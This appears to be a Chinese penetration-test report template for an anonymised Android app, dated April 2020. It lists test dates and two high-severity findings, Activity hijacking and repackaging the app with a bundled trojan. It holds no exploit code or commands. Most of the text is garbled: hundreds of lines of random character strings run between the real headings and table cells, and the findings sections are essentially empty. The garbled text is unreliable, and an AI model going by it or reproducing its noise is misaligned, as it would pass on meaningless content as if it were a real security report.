+ L- n) G# ~. `, X9 v0 I9 V8 I) h! V
5 i, x2 [" K: x$ I ; d8 n. K1 P* ^; a) m/ m! D' F6 Q
# R' J- Y' r' h4 K* S |3 u; i
# P" W1 ~( F& ? @- W% D; ?% p. {6 O
3 x, e; ]$ E# J2 x7 _/ x$ K+ A: }$ w! w. k7 r& Z; c
' E/ l1 m; q6 v7 Y# i5 `
|9 P" B2 N* K8 Y! x+ m! h
* k* r c' I% k; `5 y% Z) r. W( A! {" u) X
文档编号: ( v/ e7 \3 N/ M. T& F0 q# u
9 [/ {0 i& H+ F' M9 J
3 h; B5 P! k! \1 i; L$ F
# r& E7 v$ Y2 Y5 g; n ; G9 W5 `3 s' X; {+ H, m
1 l( l6 ~/ u0 p' ^3 \
) x" y- y% ^: S+ G b v
# }/ c" M% h8 B/ B$ K
% B% M. A* n& }: p5 B5 I) n' j# I$ ~, A
) k) k3 E+ r8 \; a+ [! C: p+ |3 `# j+ }' f
3 S* B0 S+ b9 T2 I r
* @6 d3 W, g1 z, t# y
& M/ o" ~* [1 l' z0 F0 M5 O+ c& m. J* y) Z* W- q1 @! ]
- [( ]6 S) _# v' Y+ \* V
- e3 [& x& L/ I9 } 5 K% z4 z- N4 u9 u& C! m+ I
1 i: b+ P7 j- S' I1 @, y
8 I) x) S& U/ _3 H9 p
- P) w2 x; s4 I . |2 W5 N: v, W& D4 w8 u
% r( K7 }5 i r
( w% I+ K" k$ B/ \
- \- Z1 j4 k0 S* R0 k
) E2 Y: C6 w1 `5 n$ \$ Q
9 q0 r" z+ |( S- Z
% O. G) r% D( \1 Y0 P
/ W; _8 \6 v. j 5 m. r' y" f+ s( v/ D2 P9 t/ X
% {& Y+ ?$ D& d1 `1 f6 {% V+ ]% h
4 a& T# y& e) J8 v" i/ A4 I6 b; P
! L9 i$ x/ `0 s7 {, F. `
6 t- V' ^ A& u0 z6 u0 ]7 j J5 v3 p
- ~3 a( `6 p9 B' T0 P- K( ? 某某某APP渗透测试
$ e+ V0 d, a+ b) R* u# B. X0 X
, q0 Z. l1 F4 Z7 }! }$ n
. R% }1 L$ c p% g& l 2 R0 x7 W' ~3 X+ c' z1 p2 {) S
3 E) D. X" E7 b" C& k2 h6 y
6 k. L; ~/ g3 [0 o+ E1 }* ]: [; U# K3 H
2 d) O( |. R0 ?8 G9 F2 g( U' M3 a# o
/ k4 @ |. o. ?
" O, ]. G# q- E, K
: L7 h/ V8 f; o5 S3 n0 B$ H: j. f6 F( m1 m8 U/ U) ?8 k
& h/ X. m/ W& j4 g- E [% m S# c0 ^
8 n \* R# c) F: K7 Z: I
( P b- ~1 y( ]6 K8 z
" t! P: b2 l: G1 W
# c* O* V8 G2 A0 w; E8 e
3 J3 t, e5 c& u% [! e" R
. Q( p! \! Y- K( g2 c % m ]% D: w9 I4 J8 E1 _/ k" C
3 E0 j* I6 w' X0 f5 l6 ^ T0 u
2 \' n# h) \* O( n/ K- `, E3 J
" }: U: L4 z0 w: f& ~8 K! V
6 B6 {' f6 m; G; ^. ~% Q2 P
5 I& ^% Z( n) g7 m- D# \8 E
3 X+ L! C) ~) o7 n( ^' F0 r% X" ]
) I, l v8 o" ^ 技 术 报 告
% j, E: y- ~2 r( z. C9 B
# P0 q( N2 r3 o# ]. c
. m5 |+ A* _9 ~, |) c6 u
4 v$ p- u9 X3 {/ G$ \! L J / J& }$ J+ s6 i6 [$ \. |! {0 A$ A
# C) D0 P; x R( X' \ $ S# E5 J& ~) V4 I8 B
8 ~$ X5 N7 _3 k7 I2 t8 c, Y6 @+ ^% k
+ o0 @) N+ c& @9 y
# X. V2 i) @* ?
4 z" p5 w) |3 Z1 x7 ~9 B$ T6 g1 P j, c. K% K/ }& [% Y
! `" k5 K8 k3 U5 K9 A4 X. Q
1 O! C9 [. P1 P2 b/ Y9 J* Q/ R+ i
3 i, U0 F2 H5 n% c4 c- d" ^9 S; G' j/ l3 Z+ f& z
8 r& n5 n' S# u9 v% l) D
h% b! n; h3 i 2 M9 S3 E/ g2 q
: \4 ?* q, R* e- {7 {, [3 U
+ n7 s0 V! G+ H a/ I+ G# C4 C0 {6 f" t! k: s2 H5 a2 N
! U+ I+ Y- Z7 h! o
5 e1 C3 b: @# \! ~1 N
]# E. j6 q0 y1 l* y. U- @ O" l: P
4 z0 Q- w. d1 T* R0 ]
7 ^/ o5 }" c+ w
* t# P3 v( @( {/ O8 Z# e ) _" g# S s8 j+ d3 R0 B) Z6 N0 p- { B
, p, }0 b' O" h6 R/ k; |
( f5 [6 A" o7 _( i! r5 f2 I" l& G6 j1 c& R8 p+ C1 {
' w' u/ |/ g; F' k3 X: H6 p2 \! S; q, ^5 k% x) Z2 _! [+ S5 A- @
& k! \ h+ \5 S) Q" C% G" U' |, J; p4 m, E2 `
- u6 }7 b% f$ b( \1 X! ?' e
: v1 m w9 K/ {) B& c/ Z
9 }) {, v' l/ a" z9 [ c( I( G
* j9 u8 u) G5 A' K5 N % ], R% J4 s$ A5 e' F
" X( F4 l; p3 g+ F z $ W9 p& j" P1 g, U* R
$ D: \# j1 u, V2 k
$ g6 E+ E8 L. @, Y/ O% s. i
, v |8 P4 q% l% c2 D% A
7 }0 C7 |6 M# @) ~
" A" O, \( G/ Z9 n
2 B; X# l5 O( G: \! H5 r6 A" a" j9 \6 l }3 \# J: s& V
& [# D I/ s% ^# P: }
1 N$ Z8 B# h! e/ Q
7 e ]+ n4 i7 X. N& G
) i# s( b. \ m) ?- C: j' Z 7 S! H3 _( S3 L( m+ s: u$ i- ?
2 V& q# {# ?( W! y& p8 P
4 |$ h6 I/ |1 H9 Q& x$ [6 M% i# ]
6 }# _& e! @) f+ d0 @. @% h
4 |4 @' Z% X+ N0 s |$ ^
B+ G+ {: E% B7 d% Q + Y" w. A( @( n3 ?
/ e' r- F. R6 D& {
4 q( Z: z# l, s) }6 q9 N& S
$ v- H' e8 `1 J" C* J
$ L9 `" ]7 x* e, j9 o& M% b* |1 O3 p2 X6 S" G3 G
! m, g) m1 r3 |
$ d5 _" e( Y4 R" x+ s
/ Y/ s( X* W' e- e. f5 t
2 n0 _) o R6 s) I9 N6 K
: r& M! p7 z/ S; n. X7 g3 q% F R# {% v+ D0 [: G5 f
5 T/ v1 @4 R. Y! ]+ z4 i4 W
. w: }, ?/ g; q; i
: _6 A6 E% m$ }% Y, L; [4 _ t r) `; P. O% ^
2 N) X& V0 z) }9 [5 o/ k4 r. b1 {2 E1 Y: h
/ W& i! N9 K$ ? }; O
' O9 B7 Q4 J, M* P( w' I
4 C1 g* T! U1 g( C5 a
# _/ b- r3 p% o. A. Q1 s5 K3 ]
" c1 w @2 T4 b9 \ m7 f
+ a. ]' r* e8 o( s4 `
5 d- ]6 I5 A6 |: ?9 m
" q3 n( ], i" n' S5 B% L
( p; W" P Y8 I: [! @7 g7 W
r5 g( A- W( P: G
, J6 o7 u& _1 m7 b% O$ V4 l- F9 x, n7 i( c6 G3 c9 ^
; w' J! p& a; Z+ k% E% s
' p( s5 [; J0 v- F8 _/ R4 L
$ Y' j7 I* Z4 ]* b4 O
6 r( f0 d) X7 t; u& n0 H( y. _
! O% ^: |8 S+ ?0 y" ~" |( x. q; Z& w
. p3 o$ p$ f5 |
/ _7 {" u, y% e1 w
" f$ N0 K' U9 {/ G8 ?
, B# x' r# g; E1 @ 8 @. {6 F8 x5 d8 q3 q& C
! p7 X# R6 y' ~ ! c5 e+ V$ \( p# I3 l n5 |
* g7 ]7 {0 d2 K: @. ~$ J
6 i; A$ b) o# |& a( n
7 ~+ w; p5 x v- K8 x- N$ ~3 P
2 o! d; ?- l V; K+ X8 e: F& v( z
/ h E# T8 |$ C' t / }- ?$ ]3 m q! [# D
: P$ D5 x2 S' O M6 ?" }: k# p
% o$ [; W" z" F
7 p% w5 R4 u9 [( x5 O % j) \4 j( T' j1 K3 K) d' _1 S
0 `/ Q$ m/ i! Q) g 二〇二〇年
0 ^8 u6 M, p. }* O* q3 F" I, y! E9 Z
6 f# W7 ?3 b. p' n) Z0 E
7 X/ Z) H" K2 Z( \8 \' U
3 H' L ~6 k4 ?4 |% P. B9 F, q2 ?" h# Z9 E: m5 P* r
% q0 C; K7 d" V: |+ n
k4 `( O; z- d4 q$ w3 O/ W6 d
6 @' u- C3 D5 L) C7 _8 j7 W8 H; k* s; |/ }
4 ~- |/ I$ k9 j" |- m. b/ o7 p) e
8 p L$ s$ p- S* C8 l
, L/ q" Z. g6 t: L2 L: h( O
, l) o2 b8 A7 G- p
7 Z$ i4 N2 M p2 |
" ?! Q( C" L- B# h0 E
/ J7 a" v1 k$ _! b. P V
$ L9 O- N: {3 Q' E7 C1 f+ S$ `& ~
1 |7 u% T: J+ o3 R; r8 g4 u1 z7 j( a8 _- `" Z' |
$ c% g" H, w/ M2 h# F( h% q* F2 m* Z0 `: [$ o
目 录
4 J' A8 B; n" ~$ r( k5 e4 G/ L3 C7 T5 @* I) K4 ?5 S
2 E* Y& h3 k& f- I5 y2 l2 x- p- l- d
8 j, ^# w6 B; y1 R0 O w
( ~; l: ?8 m$ X1 E' u0 i/ g
, I/ b$ @( S& K# R' \/ r3 G ; V. [* X {7 a* `! Y, ?; Q0 {0 K) n
1 p: G9 S4 e$ ]- \: K2 O2 d5 f
& c* v4 O0 }( E! G5 _) ^
# @% ?( I1 y3 P) z
' q; M- i$ T, Q- Y4 H" b: b- j
: x4 i) G g7 I* `
/ r, Q4 D8 G1 @1 {, @% l& l
( _, ^: D ^$ n. P! J 1 概述... 3
0 l- k; F" J; ^8 x; f* y6 V4 a4 m: C* R% Y- T7 Y' A! h! ?; |
) @6 l( t/ W1 n1 d# q7 o' `+ l* p2 w& J
v9 z" ?* v$ h9 h$ S& K- c' G/ e8 B3 G
1.2测试时间... 3
* Y% d$ H( _+ {2 x- a4 v' N7 W3 l: f& _1 W+ F
3 C: s2 ]5 V8 B, s6 L
9 q4 V+ @4 d$ v; W( x8 u - y* h! u6 f2 P6 s2 R. U9 h) c( J
9 T4 i u0 s" B1 R8 U8 N$ |5 \
1.3测试对象... 3
) a S c' D7 x/ P7 ~5 N4 J6 {8 T0 n" C7 A0 s9 O8 ^
+ g1 a7 x: ~ {8 F* n. _" D- G7 _2 _5 C6 d# z: g0 J2 ~
' d, V, o) f% n p8 Y% u: A
0 i3 I. O' u. o
1.4测试结果... 3 , K6 O; u% e' b) ~- M$ i6 A: Z6 c
. ]% L# Y7 \+ k9 s# K8 P' h
+ o' F- _2 ]7 {, |3 N
# l/ v5 U8 |6 y" W 2 \4 v) \ j X" q" O
# {4 Z+ d0 n- s! C 2 检测结果... 4
. S3 l8 ]9 C7 ~$ _8 q: c1 I
6 w+ h- E! {. e- M! d/ B9 D) u
8 w& Y$ o7 C. E; X3 Z7 r; v- s; {
4 K; d8 V0 u% [ & q% Z6 J2 `% h/ e% @& Z, K
& I7 D: x& L+ l0 w+ a5 k v; I 2.1 某某某... 4 ( l. c' |# w6 I+ R, H
; I! V: i& a- v( h) B3 ~& i
9 f$ K/ l$ B: h1 Q) r) }6 i1 W3 V4 X7 Q8 V* {6 a& I
( H3 H& V& N, Z
( L V" \2 e6 t [ \6 E4 S
2.1.1检测目标... 4 $ ]" q' w. ^' O9 o ]* n3 K ?0 ~
6 j/ _4 {" k7 T6 ^6 |
: v" @& f+ _1 Y5 c6 h4 B1 C0 @- m% b* w0 D# l4 ~
! r* n0 U; C1 O0 X$ [- s& \' ~, @# {1 G$ Q
2.1.2检测结果... 4
+ F8 e, y8 N# R( C. M1 P) _
! ~6 K2 O+ e/ a1 e. }) x! j1 R
- `" A& e' u4 Q/ I
, {; b5 l! G6 o4 { 0 x1 l3 Q9 {# u7 q+ V; S7 \% u- w
7 C+ A' v$ X+ y; {4 g; f+ \+ K9 r1 Q 2.1.2.1. 4
2 `2 P; c$ O* ?' Z1 \
" r- l; k( Y4 K% p
0 @9 M$ u2 E) A, E( P6 ]
) f, W& b% q" ]- V
+ D, Y$ r; _4 X) V7 K
! R9 |7 D, N, u: b6 C0 z* u
2.1.2.2. 6
9 p+ f! `0 `' K, ^1 w d7 k. ^
& |2 |4 L# ~9 C! n
; X" V6 |! o6 B; T
3 n) ~: V" ]5 X; T: L( i
. W/ d3 N. T- v0 s' I
; m O p9 s# [) _1 Y
( `7 |* H! f% s. O A( S
\! r1 b1 P. r; I
~6 o) q/ H9 P4 C* N; I. D5 D9 c7 E+ W
1 i! Q+ O* @8 X+ ^, `
% N' k2 v- I$ f. \( T + t) n9 P/ _. ?" d% c
. u. ^$ _# D; {/ D: W' @
/ u* h, n C X! o6 _" F4 q2 ~" h w) B" v
4 q" c' j0 l' e
- J2 L0 r* J5 ?- [0 ~ ! }# C- \& T7 x# K- t. a
$ z0 T6 n" e( i Q: |+ ~7 j9 Q, s 1 概述
; I, w) J" v. @+ `8 ~5 d! A! s
Z+ ~: L$ R0 i, |
6 N* c# h: R- [; H% b
& J8 o1 j5 P. i% u
, Z q# P/ l( ` M7 }& ?. q+ N5 l; v7 b" h4 `1 l, U
1.2测试时间
) T7 }0 ?; q! f" E. y/ ?2 H2 g
; H) s: d! L: ]% H
3 K% K# Y: n9 G" F. E
4 g6 H J) _, N8 ]
4 A) \) H+ A N
, H' ?! x6 @$ Q* j 6 _$ g5 h1 M1 e4 K2 `3 L/ u( m
, I" Z! H2 K; _, H
; { c0 R2 @2 K/ \ ?, t, e1 `) g9 r( N1 ?" L$ e" f: `
- m! t4 i- ~5 f4 A6 y* s5 \; m2 _" u* U9 I7 z3 B2 N5 ]: f" ^# m
. d0 B8 E- }+ o8 {7 Z5 U8 }* p$ W4 b" J1 r+ c
渗透测试时间 3 s1 D; f( Z) |6 u6 T1 R
; t$ J. S D( E! e1 y, K4 B
4 {' U x+ n' ^5 C/ y1 T8 O' A6 c0 }
|
# I, M1 L2 n' Z8 T2 ~. e$ p4 W$ w0 n$ h: D3 i$ u
; w$ _/ u; p$ _: ?0 a2 H" Q0 X
9 q$ y0 x8 L H) o3 P! y
% n9 `2 w4 T( {' G8 O7 b, n5 V
" {9 p' P" i( y2 U
x* k2 h7 U! F+ |3 l. A# q9 x& O0 I% T* A8 H. _5 X8 p/ j
3 X* d- Z/ D9 x- o" T7 `0 f# b4 w( {! z6 @7 w0 t4 w( c
起始时间 ! z" h3 ]% k* E7 k1 l3 L' m' {/ W
$ Y) D3 N U. |: ? % ]; J9 s% O- o, H) w: _6 V
8 M% _6 I. x& X. T" H
|
. E3 E8 x1 Z2 [7 y
8 S9 Y& x1 B+ F; G- \
8 X5 _* {9 k9 m1 t/ r. b& O
: N6 B( H- U& v; ?3 P/ L; N# r
/ z$ M- ?( M& s1 c" l$ z5 C& c' t& E3 z3 w, h! I' P( S
2020年4月6日
- s# w k- h8 d y& H% A
8 f1 \9 t/ {* u6 w o % @, X! F* V0 z* s; {1 ?1 S2 B
: W' y, A8 h4 P | 2 F3 v1 d' G' k: k0 X; Q
- u. l, r; p8 v" {- r
' h6 N2 Z' o5 A5 M* e+ g1 L( W0 O' f4 k$ s, x9 U5 X' v# N& t
* p( j( J" h; W L; C* |$ X, u, W0 s6 p1 y, I
. H. Y& i( p6 a, B( S) b! p( R0 a& z5 W3 S
7 G' |- T1 c4 [ _
+ S$ f$ C G& @ 结束时间 & w2 F% y& @: J" v& t+ w
* M' E8 W: k1 C1 c( t3 Y- F
' [1 Q; Z) k6 p; ~/ e. ^4 Z, b- L" }2 S2 B
|
; G3 A% a7 {8 p7 r. d: a
( ^7 t6 {1 n; d' }
1 j% u8 [. K2 f: \2 |4 L b
% G" }" a! m* N
! ], V7 e D& [8 [7 \! k' a b O1 B
2020年4月9日
2 f% ]% o# @* j- N! s+ u1 O# _8 Y
: D" K' Q, o. ?% z
+ f ]5 j2 }7 L4 m- Z7 v9 K
6 W! |0 t3 t- K. d8 u3 ?4 d |
, B! c4 U+ _/ f' J
# W4 @; X" T# f6 T A9 }
; {+ F6 M: n8 `6 b; C9 h7 ]2 B; T9 U+ c# ?6 P3 M/ \" m2 A
- o: o# ^6 D+ M" i3 L1 x4 E
& [$ T1 y$ x+ F
y0 V# ~' H8 s$ k
- {; C* m0 [+ K: B+ z2 D; l5 c
! N) |6 F& f8 m) L0 R k" y, M* H4 B1 k& ?/ C
1.3测试对象 3 F. `2 m2 m& h( P* ~
$ \8 |" |5 I u
$ ^$ g, K; M0 ^2 P( n: K5 ~" z' x% P, F; Y3 `4 l3 ]
; l% G R1 F3 M1 b+ J" ~5 ~1 ~4 g' r3 P+ i/ }
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
; ?3 T$ |) ~/ w& w
9 C: ^: T) J& y# j3 U# r
, p j' u L; @. J
# I7 x4 L& d: F2 k5 ? b2 Y( z, I9 g, n
' z' }3 ]! Y' E
表1-1 检测对象
# D5 e5 T$ ?1 @, p1 Z: b% l4 D+ [, l5 {( L! `
5 l( u! R0 U# e% Z1 H9 [8 }; q- \9 N& l$ Z
1 G% g; j9 @8 L
; S4 b& t% H' m* K* m( h! V % p) j9 H# u' G' C, _# \
2 f, h, a0 l7 z/ f- W0 m/ z
7 ^% @0 `/ a& c; g V2 Q R4 v% ?0 i& }4 x$ B8 V8 a
) X% p; Q+ \* k6 r' Y9 }* O8 P" c, J0 C: I2 [. z
Y$ ^* D1 M, p: X& g3 A
0 x. X2 \6 T2 }, n( r& b
序号 ; d; L1 h6 \# r- n2 J
3 I2 F& I7 Q: q7 f$ x3 K
5 B e( k6 V t# Y: s, H
. o8 ~8 F7 Y) m/ b# G* }% C1 j: g$ M |
/ Y# S! o9 X- I* {6 x
/ g9 n' G7 {8 R9 J5 K" p V: g
+ e$ U$ Z' f. G8 J O) w2 l: j# b! w
# f/ v) W" @9 e8 a% P$ k$ v
+ f" k' |- B5 x1 _. S1 L2 L
$ o" G( j$ ]- d 测试对象 ' \0 i4 U# A4 V I2 c
+ M N$ |; t) S; `: w
% b2 n4 Y2 f* p/ ~/ a
8 V9 \2 q) b: r4 y; Q: _ |
* R& S% b$ Y- s- j# a7 x2 B) \4 i) P h1 F) h" N+ \
- r% |9 S+ J/ k" z9 a& v% W
. {1 p6 m9 N& L2 A) ?' i1 w9 @ : P# R, y% m& y" S* v2 `: l+ e
5 i1 Q$ @# r3 e 测试地址
+ m2 ?, y% N+ j$ m4 ]% d1 u0 A$ }1 p8 U m
" h4 { V0 O( x: ~+ j E- o* h- B6 t& O8 X% t/ n3 d. A$ @- O r' K4 R
|
1 L! c; x1 @. u- r/ h5 l% {) Y+ o8 V2 u f9 o; T
* f; H* i$ x; V- C
7 N4 o4 A4 C4 Y; R" g; j3 f
3 Y2 q( U* T. a: n& \
" a5 w9 \# K8 B$ a$ @/ ]8 v+ P, s 安全漏洞
+ T+ x3 y% o8 p2 k) P' }. C
0 J+ b- v& f# T, e
* `$ I1 o# J0 h( J/ N( G6 e8 C+ o( n$ x) w' _5 F- f- K8 w
|
7 H6 B" p4 e/ D& _8 A7 T5 A! R/ o G& r0 S% e) B
$ {& G* ]' z9 O* ^( c
; ?4 E6 F- |$ Z1 u/ f3 p8 G7 C* V / b" k; l# a' }; ^* M
) B9 B6 m$ ~" T. j" R
3 m% ^" f, i' k4 G
! I/ ^* [4 N, S5 w5 D( A* b1 g
( @7 V( l0 v% a
8 e7 }" V1 _8 I- ~
1 3 @0 I9 |& ]3 @+ _
* k6 K5 I( M5 N! G2 t
1 A, Q: O$ p2 S# w* u. l
7 G) X! N6 d2 e | 9 g, z) }/ U- ^1 j- r* l7 u. |
# q0 R" h o. Y' b$ }
# @! d( I0 t6 u" N, _
; |, r m/ |2 O4 V & [$ B0 \0 _( ^" d
- s0 `" l4 Q' c2 v9 F6 {+ [
某某某安卓APP # k; D9 V: H. s8 O1 Q
4 Y ~ t' A8 V
, O- N% O9 k; z1 c
# F& x N# A7 ]0 B6 j& Q | . {$ o( q9 e k; H5 v) \
8 p M+ w7 Z' } ! _0 h/ `: u( x
, u c& ?. _$ x# J7 m
7 g/ S' v' f# |- [: I0 V4 f/ N
9 j1 g+ o% F9 g- h8 v O! F3 s" k3 h$ f
+ e! L* K* ~! s& g* A& C5 H
8 a" w: f; G! E) P# H0 O1 L$ w: `$ a
, ~# M5 H/ e+ K M8 w0 O4 [9 o | 5 C9 S7 X) q D6 V U
2 l* p$ i* b* w0 X5 {( ]7 |
( ?( h5 R) @& G0 P& B8 o: U
6 }! {5 x) N( V6 ?: ^; {' {
* ^5 B& L: R. w! w# E
V% X3 u0 o! M. c( G, t 2
$ R# k+ H, s/ L4 D/ M* E4 l- k' z& {: @" n8 h
h, m8 [7 ~# `2 J' y( D3 {; Y: m3 i" {; z( J
| ( [$ c+ E' m0 b/ ]+ ^
! ~( U# m- Q* w" l7 y$ h$ [( K
% C+ M' B. l% `4 }, K$ h3 `+ R/ H( K# g. R
+ Z. D; K) {2 H+ r7 x! [) {
. c8 W" A8 \/ Q) F% L" s# K
3 B. |6 Z# W8 z: k1 A% u2 H
6 i! L5 }- M* ]3 Y3 l7 V1 w
) a4 o6 G; s# R) `: d- ?/ g6 b& U( a, u+ V- a
1.4测试结果 & J" z. d+ I- |
0 t( j8 p5 W% x
+ ^& |4 w" Y' }. C
. u- C) N3 f* y, [( Y
/ N% n% \- ^7 c3 {- u. t
8 a4 e: Z0 U2 x# O8 n 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
) c7 T3 S0 t4 x: b0 [3 G; o% z6 _
' o* X+ t% _" \6 [, ]
2 f+ b6 h& H$ G/ ^* x+ ~3 b8 Q
" j0 z" o2 S; j- v2 Z6 g: t
$ w. [% A2 o" s T8 S/ b- o- T9 w" X W
1 l( G! F- K4 J% ~3 v1 x0 S4 ]4 i
! h+ @3 x* h1 P$ k
% \7 t- `: t" i) T+ C% V: s0 ?6 R3 e$ M0 t! F
# [% m' g. t j& ?$ N
7 e3 b( ^. i! ^6 k 4 A" Q9 w3 U, y0 Q% f L
+ r/ a" Q, M8 |. D/ t " l7 `7 I$ H/ m. ]0 {
7 a0 Z" b( R2 o
e9 \$ W7 H s" k. u% z6 l( O. w! E
. J+ C: [% T0 f6 ~ 8 r* _4 D$ ~: s- t
- K' G* y0 b$ _( n( \4 `1 X
0 h/ q# F4 L8 I' P! d, e4 C
6 Z7 q, q- v7 \" o" ` 序号
; o: b* F, h# ~8 R: A
0 m4 w0 L$ c h8 I
) n2 d2 Y m' i; D" X( ?7 F' D
8 o$ B: _/ E+ A/ Y+ c3 Z | : z, V3 f' @+ u6 U
9 A, n* Z2 c' K+ p; V
( _- q8 K; P# Q _* [% }& S3 V, G
6 I; ]: e3 Z5 c, ~ ^) \. T ; P) A( S( e5 x4 N% b* S
/ x+ t2 `9 l( z/ { 系统名称
5 m& n$ ?& R* H y$ S) s s: U! B) U* m! }5 K/ T# |* X* d: ~
6 E* {3 Q7 D7 j8 U$ O3 W
8 @% R Q/ J" o; i | ; L, n' l5 o5 S$ i- e5 U
9 k. V2 C: I1 Y3 [ S6 [% R2 ` ! s8 J9 q# `7 h0 a# w- O
' B$ d0 z' ^' l5 _6 ^+ k6 q8 g
( I+ C6 M- T% e" Q$ U/ {: Y8 y& V: @8 X
漏洞名称 ) {% R+ s4 ^8 O0 D
; w R" B# j7 N& i
% C, F: Z/ {- e! o- B& [9 P: \) l; o
| 6 _, E; t' R/ f# U9 T! m# [
, E: W, g1 X- n8 a ( y7 y, u: [4 O& T
3 y7 Y7 e; C$ ~! D
1 `- G! I+ c- V% O# H5 @' F7 ~1 R, U6 S/ Q
漏洞危害 4 ?2 d( ~7 W. H
& i0 m" _* M6 q4 S
4 L9 S6 P+ `$ s+ n7 x" c2 w, j) j/ G& \0 v3 u
| / W8 ^# M/ B2 N7 a2 w/ x
: L8 V. o. }9 A3 U5 b# e/ j5 ~
0 I. v X. |8 Z! _
, c7 T4 ?( o; E6 c9 i
0 x$ X9 u. J" t! a& _- ^& @7 m
! O0 N( ^4 E k1 M) p; a 修复结果
7 W) |2 c0 w" b6 R4 f! l6 ~0 U: }3 U/ F% j' |' p& t
( `2 d; Q" t& [: ]2 N6 X. j
: [: n% }4 E* A6 l2 h- O | 3 B+ r- f( E7 v
! G: T/ e- @ o4 f! r$ i w' r
6 X7 @+ a% o2 {8 B+ Z! E% F* j
* Y9 E+ M( P$ o y L, W8 [- O
3 X+ V3 p$ l7 N0 U: d1 J% q; F7 L+ a4 L# Z: b: K1 a1 J- x1 B
7 n Q. M- H; T( c6 C, b8 N
+ |, E5 B8 m6 j' L- F) m
+ }" i& ~! r+ L+ D( q0 M" ~+ c/ v" h6 E- P& x+ @, r
1
4 l& I: z% }0 K2 z* P% ? Q6 l3 G6 s, w1 ~; B/ F
1 o# m" q" L$ `/ a$ L
- H+ T0 o9 q- H! I" C _; k2 k& }
| # p J% V& u; t$ ~1 T2 ^, G2 i
6 P/ ]* X8 D v& r9 D
" d t' _1 X7 R) B- s7 Y, E' b: ?/ ^, C& u4 v" |
& Z0 V7 r, B# f6 O' l
# D, U* H! k8 p. q1 w& @ 某某某某某某APP
5 d2 a- p e+ e# N7 z! [
5 }0 J8 B$ \/ J- D $ C6 A) F6 i. ~. u7 C& @
5 l: f/ [5 Q0 F. c j
| 9 E3 K" l9 h- x
- h1 R" m$ Q! }/ I. A
% x; m4 n) p0 N- C
! h2 H, i6 b" A, E. y
3 _4 R% s9 R' s
( X6 g% p3 a8 y6 U, K; C Activity 劫持 ' j4 T; A. y. i4 a) c
/ I" Y1 C& ^5 d, s, \
$ A3 D. T* O! K+ {- C/ T
# p1 ?0 r; y% D' w! v
( y+ ? X1 T g6 }# R8 e+ R9 {; V9 |1 F3 G# Q/ ~$ ~5 D/ `9 e
$ z5 O8 ^$ l0 e6 z `+ a
2 s* |9 @9 t/ v- ~! _ 3 I0 o% U0 o3 n: z/ P/ G! u2 n
4 [6 l( B) H# T5 e" I |
% S7 ^/ q2 |7 \% z$ ~) R& Z, i
) n+ Q( B3 |2 ?1 o8 D5 y
/ _/ O& d+ X# H- \, M- g' c9 R8 d0 S- u$ L2 L: b; b7 I$ J
! u1 ]% ], M1 _4 f, h
2 F u( M$ n) ]! g& V0 ?/ f9 b. A 高
; x8 S) q3 p. U) ?4 ]+ w7 c3 M6 J7 G4 X' m3 V8 m- B$ U) T
. r1 }$ Q4 R, ~+ D1 r
6 C% c: I; C- {2 k% ~ | ' j# V. I7 Y7 N9 _! z" }
5 F7 X- O- _% r& Q: Q- p 7 v0 D" _9 j; ^5 k
, C- \/ u7 d. V+ Y1 [ @
, h3 G' e! R; s2 e2 Z* h, F7 c) e* K0 u
0 S# E- {) X! F# _, R6 x: j" R, S V% c- @- I9 t
* l/ j; {3 g: ?; K0 B, i
7 _8 C" [; e8 K% ?3 u |
& Y# u e( f+ U4 d
" j# ]( a8 }* E8 s
* E0 i2 L) e7 z" e- j! j
% X1 o4 Q- _) N$ L n/ w/ i 8 H# Y( k# }' }5 G: e3 s. R b
' u! y0 m/ R, l) k8 P9 }
# L' |* z9 p8 ~3 f# |0 s: K
3 z4 ?! ?( B" {1 I7 s; ]
. y8 o& e; A7 N
9 S p7 D0 G" C m: [ 2 0 y# a" C# p* g' A
! L3 c+ H9 H u2 X " i |1 M7 O& `7 H+ {
$ i, H' E3 m3 `( H
|
3 ^8 S, U+ ` m% u+ S% y; X1 H8 l% F6 C" H+ I
0 t5 x' H/ L1 [% G( ?( p M
% L! x: C' L# g' a+ f8 Q' l1 Z( O6 ]
4 ?: E6 U8 I# q: y% H1 ^1 H
5 h* ~ {3 b) l1 r1 [5 \: T9 ~; W 某某某某某某APP 7 Y- d# U6 s% s9 v5 D2 k c
& s4 \# j! o# M: q
" J; D7 `- Y5 O2 M' S
( C/ O6 l* t! D0 X( G( ^: {
|
* k% l" h5 J7 l3 U7 F, y- r+ c7 o4 `9 V, q
8 Q0 s1 {: }' S- F+ |$ J I
( p( G( R6 R; p4 `
7 _3 ^2 J! {+ b( G- n3 }2 {
2 W z& c' F* m) s/ o, R. e' s# W0 ?- C 反编译二次打包捆绑木马、篡改APP代码
* b3 Q J6 c& ~+ z" w4 U- M
V0 h2 b2 \5 S8 o0 D' O* l8 l
% q7 u* r% q4 X4 W. a! W2 K$ w; x: t6 Z7 H9 W
| ; @' c$ S1 q* L% I4 g) Y0 \7 d9 }
0 D# M; W4 d- E
( D+ s# E) p5 r' g) B: Z% d; O1 T
1 L7 s' A+ u, l* H" K8 K! l# u% C
0 A# N% ` s* v1 Q( _0 U, j 高
$ r5 m& O3 M9 v( O7 s8 g# O! {& A& I: m! v. T
8 ^2 F% f6 t1 S$ o9 d/ j) i
. z, I; {4 j# a8 v
| 1 u7 k/ O' [% L& [# P
9 j5 g Z& H7 @+ \. ^% E
* U# j7 U' U7 {# w4 c1 l, I
9 H/ G! C; v) Q# C( H8 p$ W, U
3 x4 v, k& a; B. C( M2 d$ d8 ?5 {0 T. q
$ c9 E/ c% q) x ]6 d# T9 m8 C( n `6 Z2 _& h( S
5 R% U; L5 R! M
% r6 O% |8 ~! B8 ^ | ' ?; Z" F3 j9 U; m. U! F
# v H* W, e3 s# ~) V( Z
" c9 K4 M: i. D% S4 U. B# q; K2 }& f. @4 j6 U5 a
3 n7 R4 N4 R3 ?: z" E: y7 i
+ D. r A, I* R3 U9 z2 \- ?- p
V0 [; ~% C: r# t, H' T6 _
& w' L! f) ^& g/ u( Y6 u ]/ X6 _
: { q( a! k% j9 P
# d/ g! g+ k- w; j 8 g' n' m5 P% ^. z/ U- t
7 }% X, f: v$ m4 b
; X# H( q& ^ Y" E" Q9 M
, }$ J& {: u6 A* u" k7 x3 E3 b
" [* J) b4 g3 D, m4 S
+ O* T( E. _# _3 x3 `$ o. L% m' [ ' m5 n: h% q0 ]2 a; n* \
